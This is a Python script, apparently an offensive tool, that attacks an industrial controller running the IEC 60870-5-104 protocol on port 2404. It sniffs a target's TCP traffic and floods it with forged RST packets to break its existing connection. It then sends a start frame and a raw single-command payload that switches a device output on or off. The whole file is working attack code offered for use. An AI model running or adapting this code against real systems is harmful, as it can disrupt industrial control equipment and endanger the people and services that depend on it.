import socket
import sys
from scapy.all import *
from time import sleep
import struct
import binascii


#TCP reset
win=512
tcp_rst_count = 10
victim_ip = "192.168.1.94"
your_iface = "eth0"

#Payload
host = '192.168.1.94'
port = 2404
val = 1

def banner():
    print('  _____                              __  ____       _         __  _         ')
    print(' / ___/__  __ _  __ _  ___ ____  ___/ / /  _/__    (_)__ ____/ /_(_)__  ___ ')
    print('/ /__/ _ \\/  \' \\/  \' \\/ _ `/ _ \\/ _  / _/ // _ \\  / / -_) __/ __/ / _ \\/ _ \\')
    print('\\___/\\___/_/_/_/_/_/_/\\_,_/_//_/\\_,_/ /___/_//_/_/ /\\__/\\__/\\__/_/\\___/_//_/')
    print('                                              |___/                         ')


def tcp_reset():
    # get a tcp packet by sniffing WiFi
    t = sniff(iface=your_iface, count=1,
              lfilter=lambda x: x.haslayer(TCP)
              and x[IP].src == victim_ip)
    t = t[0]

    tcpdata = {
        'src': t[IP].src,
        'dst': t[IP].dst,
        'sport': t[TCP].sport,
        'dport': t[TCP].dport,
        'seq': t[TCP].seq,
        'ack': t[TCP].ack
    }

    max_seq = tcpdata['ack'] + tcp_rst_count * win
    seqs = range(tcpdata['ack'], max_seq, int(win / 2))
    p = IP(src=tcpdata['dst'], dst=tcpdata['src']) / \
                TCP(sport=tcpdata['dport'], dport=tcpdata['sport'],
                flags="R", window=win, seq=seqs[0])

    for seq in seqs:
        p.seq = seq
        send(p, verbose=0, iface=your_iface)
    print('TCP reset attack finish')

def command_injection():

    #creates TCP STREAM socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_address = (host, port)
    s.connect(server_address)
    print('Connecting.....')

    #Payload for IEC device starts to accept commands
    p_s = Raw('h\04\07\00\00\00')
    p_s.show()
    s.send(bytes(p_s))
    print('Sending starter packet!!!!')

    sleep(4)

    #com = rdpcap('comando.pcap')

    #com[0].show()

    print('Sending payload!!!')

    if val == 1:
        p_c = Raw(load='\x68\x0e\x00\x00\x0c\x00\x2d\x01\x06\x00\x01\x88\x13\x00\x01')
    else:
        p_c = Raw(load='\x68\x0e\x00\x00\x0c\x00\x2d\x01\x06\x00\x01\x88\x13\x00\x00')

    s.send(bytes(p_c))

    sleep(5)

    s.close()

if __name__ == '__main__':

    if len(sys.argv) >= 3:
        host = sys.argv[1]
        port = int(sys.argv[2])
        val = int(sys.argv[3])

    banner()
    sleep(3)
    tcp_reset()
    sleep(3)
    command_injection()
